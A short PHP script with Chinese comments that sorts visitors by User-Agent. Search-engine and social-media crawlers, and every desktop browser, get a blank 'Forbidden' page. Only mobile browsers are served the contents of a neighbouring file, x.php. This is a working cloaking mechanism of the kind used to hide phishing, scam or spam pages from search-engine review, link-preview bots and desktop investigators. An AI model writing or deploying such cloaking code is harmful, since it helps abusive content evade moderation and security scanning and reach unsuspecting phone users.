<?php
// 获取访问者的 User-Agent
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';

// 定义常见爬虫/搜索引擎机器人的关键字正则
$crawlerPattern = '/bot|spider|crawler|baiduspider|googlebot|bingbot|slurp|duckduckbot|yandex|sogou|exabot|facebot|ia_archiver|msnbot|discordbot|telegrambot|twitterbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkshare|w3c_validator/i';

// 定义移动端设备（手机、平板等）关键字正则
$mobilePattern = '/iphone|ipod|ipad|android|blackberry|opera mini|iemobile|mobile|tablet|kindle|silk|webos/i';

$isCrawler = preg_match($crawlerPattern, $userAgent);
$isMobile = preg_match($mobilePattern, $userAgent);

// 逻辑判断：
// 如果是爬虫 或者 不是移动端（即PC端），直接输出 Forbidden 并配合空的 title
if ($isCrawler || !$isMobile) {
    echo "<title></title>Forbidden";
} else {
    // 移动端浏览器访问，读取并输出同目录下的 x.php
    $xFile = __DIR__ . '/x.php';
    if (file_exists($xFile)) {
        readfile($xFile);
    } else {
        http_response_code(404);
        echo "x.php 文件不存在";
    }
}